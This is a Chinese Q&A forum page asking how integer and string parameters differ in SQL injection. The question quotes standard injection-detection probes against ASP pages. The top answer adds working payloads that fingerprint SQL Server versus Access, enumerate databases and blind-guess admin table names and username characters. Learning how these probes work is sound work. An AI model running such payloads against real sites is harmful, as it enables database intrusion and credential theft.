SQL注入中整型参数和字符串型参数是什么 有什么区别吗?

一下是我摘录的一些信息顺便解释一下:“1、整型参数的判断当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:select*from表名where字段=Y... 一下是我摘录的一些信息顺便解释一下:
“1、整型参数的判断
当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。
http://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
http://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与http://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
http://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
2、字符串型参数的判断
当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。
http://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
http://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1', abc.asp运行正常,而且与http://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
http://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2', abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。”

我要详细的!!!!!
展开
 我来答
maydayilike
推荐于2018-04-05 · TA获得超过119个赞
知道答主
回答量:107
采纳率:0%
帮助的人:112万
展开全部
我帮你解释以下吧,我只比较了解数字型的。
2、如果存在注入漏洞 and 后面是1=1,1=1是逻辑值真,所以所以网页返回正常,与原来的网页相同。
3、and后面是1=2是逻辑值假,整个语句就是假,所以返回异常的页面。
判断出存在注入漏洞后,就可以构造SQL语句猜解了。
SQL数据库可以运用一种叫做爆字段的方法,而ACCESS的就得一个字符一个字符的猜解了。
首先判断数据库类型
URL and (select count(*) from sysobjects)>0;--返回正常sql server
URL and (select count(*) from msysobjects)>0;--返回正常Access
SQL数据库爆的方法:
URL and 0<(select count(*) from master.dbo.sysdatabases);--折半法得到数据库个数
URL and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);--爆出库名
--依次提交 dbid = 2.3.4... 得到更多的数据库名
爆字段如果你懂得SQL语言的话应该能够触类旁通的。
ACCESS猜解:
URL and exists (select * from admin);--猜解admin表名
URL and exists (select username from admin) ;--猜解username字段
URL and exists (select id from admin where len(username)=5)猜解username长度。
猜出长度后再一位一位的猜字符。
URL and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)
fxm81
2008-11-16 · TA获得超过149个赞
知道小有建树答主
回答量:238
采纳率:0%
帮助的人:141万
展开全部
整型参数为数值值,在调用的时候分配整型字段!
字符型参数时,即使你输入的为数字,调用时也会按照字符型参数分配字节长度!并且不能按照数值进行判断

同一个值,如 5
整型的时候直接做为数字使用,且调用分配的存储格式为整型数值
在所谓字符型的时候,代表字符"5",而不是数值,在数据库中分配的空间为字符型,单纯的字符"5"不能像数字5那样参与数值计算.
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式